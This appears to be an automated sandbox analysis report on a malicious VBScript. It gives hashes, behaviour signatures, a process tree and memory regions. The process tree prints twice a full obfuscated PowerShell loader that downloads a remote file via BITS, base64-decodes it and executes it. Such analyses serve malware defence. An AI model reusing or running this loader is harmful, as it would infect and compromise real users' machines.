Overview

overview

10

Static

static

3

Windows_Up...xe.vbs

windows7-x64

1

Windows_Up...xe.vbs

windows10-2004-x64

1

file.ps1

windows7-x64

1

file.ps1

windows10-2004-x64

1

fresh.exe

windows7-x64

10

fresh.exe

windows10-2004-x64

10

loader.ps1

windows7-x64

1

loader.ps1

windows10-2004-x64

10

payload.ps1

windows7-x64

1

payload.ps1

windows10-2004-x64

10

update.cmd

windows7-x64

1

update.cmd

windows10-2004-x64

10

update.vbs

windows7-x64

8

update.vbs

windows10-2004-x64

10

windows.cmd

windows7-x64

1

windows.cmd

windows10-2004-x64

10

windows.vbs

windows7-x64

3

windows.vbs

windows10-2004-x64

7

Analysis

  • max time kernel
    131s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-03-2024 03:37

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    windows.vbs

  • Size

    7KB

  • MD5

    69702b8327399b8d3760db7e510e622e

  • SHA1

    55c83e0de9bcd2ccc8b11385f16b6d24342a6089

  • SHA256

    4013aa47bf4a230774f2ee75c75820f36d0b5acc737458fe8574420a0828b10f

  • SHA512

    58825fe255aa671611967cb3af9f12e3eae2700307b8dc254510445e182b898bac2aa190b7146a3a44ad8b82ccd54b93e0ca2d79d0cc1079e3f1ab604eb81cb6

  • SSDEEP

    192:ODRgXEa7LYGh+9aQPaEXvJe6MSKKWiOWWfpWqm:gRgXEN5vyEXvJebJlm

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\windows.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2892
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "++$Whiggism;++$Whiggism;$Whiggism=$Whiggism-1;Function Svrdliljerne ($Overmndene){$Ejendomsavancebeskatningsloven=5;$Ejendomsavancebeskatningsloven++;For($Udfoerbar=5; $Udfoerbar -lt $Overmndene.Length-1; $Udfoerbar+=$Ejendomsavancebeskatningsloven){$Refurnishes240 = 'substring';$Boletaceae=$Overmndene.$Refurnishes240.Invoke($Udfoerbar, 1);$Kundskabs=$Kundskabs+$Boletaceae}$Kundskabs;}$Mercy=Svrdliljerne ' Mic.h .orbt ubit ,okep lufis Nybe:Rufof/Konve/BonhoiSjlegrLizarsSpeedsHarri-UnpophRepoiaborsjsUnderhSk bieParacdCarni.PlectiMol,cqOvere/TankeK Abom/.hinoAOverseA,spnsHell.tStoliuSlicksHomer.BiblicRefleuUnscir News ';$Psychometric216=$Mercy.split([char]62);$Mercy=$Psychometric216[0];$Brahmanist98=Svrdliljerne 'Bo.zoiOverjeLiam,x Bib, ';$Headload = Svrdliljerne 'uundv\CosmusXeranyya,hts NymawSengeoni,kewOsobe6Re.et4 Type\Udde WStatiiflophn,rongd ArchofrakkwG.mmis,versPAptato Narrwbr,dyeBrolgrKortbSFo enh TosteMargilKompll Magi\ChancvBruge1P tal. orbi0Gener\Mi.bapProphoHarmow Af,reUncryrHypocsDyreph JerneSp rllReaddlJarhe. .okaeLumpyx s,dpe Wise ';&($Brahmanist98) (Svrdliljerne 'Igang$CarpeOSidesmSupploBrebriPru,pdgazebeSkumpuB,jobmDecaf= Indv$ VaskeNat.onCru,ovBlond:hyppew.ttrai FlsknTidssd,rojeienormr Bore ') ;&($Brahmanist98) (Svrdliljerne 'Isohy$ TendHStrafePar saSkinfdOverllBasero Amo.aLa.ped Op o=Ps,di$EstopORefigma,hlaoRuka iTran dFedmeeraciau Moskm Over+ sant$.tmaaHMisp.eOprenaHardwdRattelMechao TrefaReebod Angi ') ;&($Brahmanist98) (Svrdliljerne 'Opstn$NotatSAflytaT.pstnAmbulkUnsont Amirb ssiceAnisurTe,stn Brevh,lleraUnconrJoos,d RibbsSkrddhD llouCollonKrusndM.ntiemichl Unico=P,ocr Undec(Eng,n(,iltrgretinw FreemBejdsiEksem DiocwAbde.ibentynPerni3Knfal2Sq,ib_Clankp Pd.gr Nonso Redechjerte ,umas BilasT wka C,rri-,ummaFUndef SabriPPingvrR legoLnprocAf jeeGastrsFronts LaboI,ulefdSyner=Altru$Arane{SvovlPAksiaIb.oncD Try }Ge ne)Deko..DomstCStr,to UnsemKernem,otokaDif.rnSche,dOp,laLho.sei M.zdnNiveaePocos)uncil Nonti-ErnaesSt bip InddlRedisiSkri tUnder Pahmi[Nonunc So.ahLime a ondsrIndv ]Chord3 dbok4 Rove ');&($Brahmanist98) (Svrdliljerne 'streg$EpigetU,datipatholPer,us BirltLabberDissibAma reDekanl RanisMisideIglo,sAmbulvSv,mer,rmywdIn.eniPretag PliseLupinrMidd.eDivan Opusd=Stink Resso$S atiSJu,lta PolinProstk.rnestWardwbK,sseeGabonrprogrn mprohBil.eaVik,rr,mudsdzeugmsBelash PityuclemmnScrofd tri,eBarre[Skeln$ RusaS TokiaBam on OplskClothtAflusb Afs.eMilierDenatnSamlihNonunaDiaperMaterdAppelsKopieh ArtiuFyresnIngend SulfeHavne.PantocKompoo SvinuHel,anCadmitSal,a-Ve,ko2Modta],live ');&($Brahmanist98) (Svrdliljerne ' Omda$TekniC,ivisa,kkuptUnde.aCidarlG ntly Un,isPendie.onglrUnremsSpar =Seno ( Unr.TPinoceunransNoncatgatem-GenouPAlienaErhv t ViprhTjene Anti$FordlHAll,keSinewaBla,sdDispalAfsbnoPaaviaRepardSoci )Rowel pr vo-Bomb.AMal,onBrodedKamer Abonn(Nu,me[Unsa I UdlanSvagstS.melPK,hyttBreddrBesco]Udvik:Leve,:Ethn.smfindiGapanzCooeyeafkle socio-Potene S.rdqStif. ,eskr8 elfe)Stult ') ;if ($Catalysers) {.$Headload $tilstrbelsesvrdigere;} else {;$Swordsmith62=Svrdliljerne ',uragSEnkedtProb,aRy earRamestForju- BeplBExgo iRemaktDollss BiomTCallirFamilaSt ttn,rynssHersefin,efeF.jlnr.lino Kanoe- tougSO,ereo veruAbiderSterocSk,bieLrerf Calvi$ SpeaMhookeeAstrorLum ecComm,yCon.e Under- ltraDS udde Skals Grnjt YoutiCandinTorriaPersotVandbiSoyleoSciognAflur Super$OverlO.rincmStatsoCircuiRe,ondInd.keacknouFortymE.osi ';&($Brahmanist98) (Svrdliljerne 'Raahe$ Ov,rOAndrom.ngreoEksamiTypefd BrdleT.ilouFestlmMiles=Klien$k,ppke agknBiskovTobak:FlageaWithipTa.ompBuksedAutota Vr stLsesua.hapa ') ;&($Brahmanist98) (Svrdliljerne 'Let,aIJordbmUndisp.apiroItac,r AlfatInter-RegulM Sporo barbdK rsuuDr,ftlE igeeJ,nni DelegBinfo.i BifotSvenssTag eTTeno,rclanga DisrnBombls Ak,efi dtreA.ererMuseu ') ;$Omoideum=$Omoideum+'\Silken.Unl';while (-not $Unworked) {&($Brahmanist98) (Svrdliljerne 'Inter$IdeolUD,sstnInvalwSol,eoLogicrCrit,kKuns eThrend Agro=Regle(IndreTP.vekeRea,isArbejtS rin-Rufl.P fyldaGar itstopkh Ddse Diff$RelatOWeyermSk ivoProj,i Mid.d invieGorgou.ejlimArkti),mper ') ;&($Brahmanist98) $Swordsmith62;&($Brahmanist98) (Svrdliljerne 'ActioS HimmtUn roaInf.ar Arbet Best-HolidSTrappl TroneIngeneunchapArabe Foota5Valbo ');$Mercy=$Psychometric216[$Presagingly++%$Psychometric216.count];}&($Brahmanist98) (Svrdliljerne 'Dekan$r ghtA PipepKokosptiosue KonoaTubi,lGrievaS hisbEkvillKognieInkon Pel,=Ipeca IllusGArcheespindtSeedn- FiliCC.baloUdkranHexert HampeCh.frnCryottP,dgi Malpl$polluOhackbmprogroSkibsiufejldOligoeOverfuNedprmDereg ');&($Brahmanist98) (Svrdliljerne 'Perle$FunkiCUdpano,edevvRetsmeAfgrnr,esercFor,th Wam.i Eu,oeBlgerfFirel3 Emba5Cocci Avish=Rustn No ob[Kaem.S DejlyF,lkesR.nvatPersoeInvenm oden.paragCPhotooOoglenL,vedvComnaeSttterSamfut abu] I.ko:Under: TranF ugosrStru.oResknm L gtBAfbeta BladsBombeeMul.e6Tekno4C,linSAntict In.irTermiiA,ricnMannegCheli(under$xeroxAHoo apLindepi enneM rriaNeengl,ncelaReinfb.egetlGr sse Heng)Akkol ');&($Brahmanist98) (Svrdliljerne ' Guel$DialoFRdsomi Br glNotataE cennNontegFremei PinavD.gmae elanl lrehsA veoeSkruprCros,nSauche Gard Macro=under Odon[NonreS BlivyCellas,erbitTunnaeExpirm Rot,.MudhoTNoneqePneo.xTrihytAdmin. FaneEN.emonForsmcRygnio MadwdgorgoiLangfn nnegOpskr] ndgi:Ci cu:DriftA IndpSEmblaC HjemIUratoIree.r. MisnGelorgeNotogtP.imaSPaya,tElimirFa,taiT.aefnCommugP,ica( supe$ToparCAgrotoPsy hv JugleMicror LrescSprreh Ndh,iunob.e dsorfJourn3Elegi5Bortk).uzef ');&($Brahmanist98) (Svrdliljerne ' Pert$ForsuP F,uciEsdran .enefBnksliPan isBittehFidei=Dyr n$ Uf,rFGodteiF rnglpacesaMallenAntirgPresti TawnvKorrieUmbellSolhvsBlankeFernsrZoochn quafe Ethe.NonlesRaisiu,ddenbSlaugsSparttStankr umuidepr.nMariegNapol(Pr ie3Reerr4 nony2Water6Ta ne7Sphae3Endop,Smaas2 Roal5Stive9Od,cs4 Gove5Bipar)Drybr ');&($Brahmanist98) $Pinfish;}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2316
      • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "++$Whiggism;++$Whiggism;$Whiggism=$Whiggism-1;Function Svrdliljerne ($Overmndene){$Ejendomsavancebeskatningsloven=5;$Ejendomsavancebeskatningsloven++;For($Udfoerbar=5; $Udfoerbar -lt $Overmndene.Length-1; $Udfoerbar+=$Ejendomsavancebeskatningsloven){$Refurnishes240 = 'substring';$Boletaceae=$Overmndene.$Refurnishes240.Invoke($Udfoerbar, 1);$Kundskabs=$Kundskabs+$Boletaceae}$Kundskabs;}$Mercy=Svrdliljerne ' Mic.h .orbt ubit ,okep lufis Nybe:Rufof/Konve/BonhoiSjlegrLizarsSpeedsHarri-UnpophRepoiaborsjsUnderhSk bieParacdCarni.PlectiMol,cqOvere/TankeK Abom/.hinoAOverseA,spnsHell.tStoliuSlicksHomer.BiblicRefleuUnscir News ';$Psychometric216=$Mercy.split([char]62);$Mercy=$Psychometric216[0];$Brahmanist98=Svrdliljerne 'Bo.zoiOverjeLiam,x Bib, ';$Headload = Svrdliljerne 'uundv\CosmusXeranyya,hts NymawSengeoni,kewOsobe6Re.et4 Type\Udde WStatiiflophn,rongd ArchofrakkwG.mmis,versPAptato Narrwbr,dyeBrolgrKortbSFo enh TosteMargilKompll Magi\ChancvBruge1P tal. orbi0Gener\Mi.bapProphoHarmow Af,reUncryrHypocsDyreph JerneSp rllReaddlJarhe. .okaeLumpyx s,dpe Wise ';&($Brahmanist98) (Svrdliljerne 'Igang$CarpeOSidesmSupploBrebriPru,pdgazebeSkumpuB,jobmDecaf= Indv$ VaskeNat.onCru,ovBlond:hyppew.ttrai FlsknTidssd,rojeienormr Bore ') ;&($Brahmanist98) (Svrdliljerne 'Isohy$ TendHStrafePar saSkinfdOverllBasero Amo.aLa.ped Op o=Ps,di$EstopORefigma,hlaoRuka iTran dFedmeeraciau Moskm Over+ sant$.tmaaHMisp.eOprenaHardwdRattelMechao TrefaReebod Angi ') ;&($Brahmanist98) (Svrdliljerne 'Opstn$NotatSAflytaT.pstnAmbulkUnsont Amirb ssiceAnisurTe,stn Brevh,lleraUnconrJoos,d RibbsSkrddhD llouCollonKrusndM.ntiemichl Unico=P,ocr Undec(Eng,n(,iltrgretinw FreemBejdsiEksem DiocwAbde.ibentynPerni3Knfal2Sq,ib_Clankp Pd.gr Nonso Redechjerte ,umas BilasT wka C,rri-,ummaFUndef SabriPPingvrR legoLnprocAf jeeGastrsFronts LaboI,ulefdSyner=Altru$Arane{SvovlPAksiaIb.oncD Try }Ge ne)Deko..DomstCStr,to UnsemKernem,otokaDif.rnSche,dOp,laLho.sei M.zdnNiveaePocos)uncil Nonti-ErnaesSt bip InddlRedisiSkri tUnder Pahmi[Nonunc So.ahLime a ondsrIndv ]Chord3 dbok4 Rove ');&($Brahmanist98) (Svrdliljerne 'streg$EpigetU,datipatholPer,us BirltLabberDissibAma reDekanl RanisMisideIglo,sAmbulvSv,mer,rmywdIn.eniPretag PliseLupinrMidd.eDivan Opusd=Stink Resso$S atiSJu,lta PolinProstk.rnestWardwbK,sseeGabonrprogrn mprohBil.eaVik,rr,mudsdzeugmsBelash PityuclemmnScrofd tri,eBarre[Skeln$ RusaS TokiaBam on OplskClothtAflusb Afs.eMilierDenatnSamlihNonunaDiaperMaterdAppelsKopieh ArtiuFyresnIngend SulfeHavne.PantocKompoo SvinuHel,anCadmitSal,a-Ve,ko2Modta],live ');&($Brahmanist98) (Svrdliljerne ' Omda$TekniC,ivisa,kkuptUnde.aCidarlG ntly Un,isPendie.onglrUnremsSpar =Seno ( Unr.TPinoceunransNoncatgatem-GenouPAlienaErhv t ViprhTjene Anti$FordlHAll,keSinewaBla,sdDispalAfsbnoPaaviaRepardSoci )Rowel pr vo-Bomb.AMal,onBrodedKamer Abonn(Nu,me[Unsa I UdlanSvagstS.melPK,hyttBreddrBesco]Udvik:Leve,:Ethn.smfindiGapanzCooeyeafkle socio-Potene S.rdqStif. ,eskr8 elfe)Stult ') ;if ($Catalysers) {.$Headload $tilstrbelsesvrdigere;} else {;$Swordsmith62=Svrdliljerne ',uragSEnkedtProb,aRy earRamestForju- BeplBExgo iRemaktDollss BiomTCallirFamilaSt ttn,rynssHersefin,efeF.jlnr.lino Kanoe- tougSO,ereo veruAbiderSterocSk,bieLrerf Calvi$ SpeaMhookeeAstrorLum ecComm,yCon.e Under- ltraDS udde Skals Grnjt YoutiCandinTorriaPersotVandbiSoyleoSciognAflur Super$OverlO.rincmStatsoCircuiRe,ondInd.keacknouFortymE.osi ';&($Brahmanist98) (Svrdliljerne 'Raahe$ Ov,rOAndrom.ngreoEksamiTypefd BrdleT.ilouFestlmMiles=Klien$k,ppke agknBiskovTobak:FlageaWithipTa.ompBuksedAutota Vr stLsesua.hapa ') ;&($Brahmanist98) (Svrdliljerne 'Let,aIJordbmUndisp.apiroItac,r AlfatInter-RegulM Sporo barbdK rsuuDr,ftlE igeeJ,nni DelegBinfo.i BifotSvenssTag eTTeno,rclanga DisrnBombls Ak,efi dtreA.ererMuseu ') ;$Omoideum=$Omoideum+'\Silken.Unl';while (-not $Unworked) {&($Brahmanist98) (Svrdliljerne 'Inter$IdeolUD,sstnInvalwSol,eoLogicrCrit,kKuns eThrend Agro=Regle(IndreTP.vekeRea,isArbejtS rin-Rufl.P fyldaGar itstopkh Ddse Diff$RelatOWeyermSk ivoProj,i Mid.d invieGorgou.ejlimArkti),mper ') ;&($Brahmanist98) $Swordsmith62;&($Brahmanist98) (Svrdliljerne 'ActioS HimmtUn roaInf.ar Arbet Best-HolidSTrappl TroneIngeneunchapArabe Foota5Valbo ');$Mercy=$Psychometric216[$Presagingly++%$Psychometric216.count];}&($Brahmanist98) (Svrdliljerne 'Dekan$r ghtA PipepKokosptiosue KonoaTubi,lGrievaS hisbEkvillKognieInkon Pel,=Ipeca IllusGArcheespindtSeedn- FiliCC.baloUdkranHexert HampeCh.frnCryottP,dgi Malpl$polluOhackbmprogroSkibsiufejldOligoeOverfuNedprmDereg ');&($Brahmanist98) (Svrdliljerne 'Perle$FunkiCUdpano,edevvRetsmeAfgrnr,esercFor,th Wam.i Eu,oeBlgerfFirel3 Emba5Cocci Avish=Rustn No ob[Kaem.S DejlyF,lkesR.nvatPersoeInvenm oden.paragCPhotooOoglenL,vedvComnaeSttterSamfut abu] I.ko:Under: TranF ugosrStru.oResknm L gtBAfbeta BladsBombeeMul.e6Tekno4C,linSAntict In.irTermiiA,ricnMannegCheli(under$xeroxAHoo apLindepi enneM rriaNeengl,ncelaReinfb.egetlGr sse Heng)Akkol ');&($Brahmanist98) (Svrdliljerne ' Guel$DialoFRdsomi Br glNotataE cennNontegFremei PinavD.gmae elanl lrehsA veoeSkruprCros,nSauche Gard Macro=under Odon[NonreS BlivyCellas,erbitTunnaeExpirm Rot,.MudhoTNoneqePneo.xTrihytAdmin. FaneEN.emonForsmcRygnio MadwdgorgoiLangfn nnegOpskr] ndgi:Ci cu:DriftA IndpSEmblaC HjemIUratoIree.r. MisnGelorgeNotogtP.imaSPaya,tElimirFa,taiT.aefnCommugP,ica( supe$ToparCAgrotoPsy hv JugleMicror LrescSprreh Ndh,iunob.e dsorfJourn3Elegi5Bortk).uzef ');&($Brahmanist98) (Svrdliljerne ' Pert$ForsuP F,uciEsdran .enefBnksliPan isBittehFidei=Dyr n$ Uf,rFGodteiF rnglpacesaMallenAntirgPresti TawnvKorrieUmbellSolhvsBlankeFernsrZoochn quafe Ethe.NonlesRaisiu,ddenbSlaugsSparttStankr umuidepr.nMariegNapol(Pr ie3Reerr4 nony2Water6Ta ne7Sphae3Endop,Smaas2 Roal5Stive9Od,cs4 Gove5Bipar)Drybr ');&($Brahmanist98) $Pinfish;}"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5024
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5024 -s 2584
          4⤵
          • Program crash
          PID:212
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 5024 -ip 5024
    1⤵
      PID:3412

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2kl3lgof.jvx.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • memory/2316-0-0x00000298CEFA0000-0x00000298CEFC2000-memory.dmp

      Filesize

      136KB

      Download

    • memory/2316-10-0x00007FFD2A750000-0x00007FFD2B211000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/2316-12-0x00000298CEFF0000-0x00000298CF000000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2316-11-0x00000298CEFF0000-0x00000298CF000000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2316-43-0x00007FFD2A750000-0x00007FFD2B211000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/5024-20-0x0000000005820000-0x0000000005886000-memory.dmp

      Filesize

      408KB

      Download

    • memory/5024-32-0x00000000066B0000-0x00000000066FC000-memory.dmp

      Filesize

      304KB

      Download

    • memory/5024-16-0x0000000002D70000-0x0000000002D80000-memory.dmp

      Filesize

      64KB

      Download

    • memory/5024-17-0x00000000059F0000-0x0000000006018000-memory.dmp

      Filesize

      6.2MB

      Download

    • memory/5024-18-0x00000000056A0000-0x00000000056C2000-memory.dmp

      Filesize

      136KB

      Download

    • memory/5024-19-0x0000000005740000-0x00000000057A6000-memory.dmp

      Filesize

      408KB

      Download

    • memory/5024-14-0x0000000002D70000-0x0000000002D80000-memory.dmp

      Filesize

      64KB

      Download

    • memory/5024-30-0x0000000006160000-0x00000000064B4000-memory.dmp

      Filesize

      3.3MB

      Download

    • memory/5024-31-0x0000000006680000-0x000000000669E000-memory.dmp

      Filesize

      120KB

      Download

    • memory/5024-15-0x0000000002D80000-0x0000000002DB6000-memory.dmp

      Filesize

      216KB

      Download

    • memory/5024-33-0x0000000007E20000-0x000000000849A000-memory.dmp

      Filesize

      6.5MB

      Download

    • memory/5024-34-0x0000000006BF0000-0x0000000006C0A000-memory.dmp

      Filesize

      104KB

      Download

    • memory/5024-35-0x00000000077A0000-0x0000000007836000-memory.dmp

      Filesize

      600KB

      Download

    • memory/5024-36-0x0000000007670000-0x0000000007692000-memory.dmp

      Filesize

      136KB

      Download

    • memory/5024-37-0x00000000084A0000-0x0000000008A44000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/5024-38-0x0000000007C50000-0x0000000007C72000-memory.dmp

      Filesize

      136KB

      Download

    • memory/5024-39-0x0000000007CF0000-0x0000000007D04000-memory.dmp

      Filesize

      80KB

      Download

    • memory/5024-40-0x0000000074480000-0x0000000074C30000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/5024-13-0x0000000074480000-0x0000000074C30000-memory.dmp

      Filesize

      7.7MB

      Download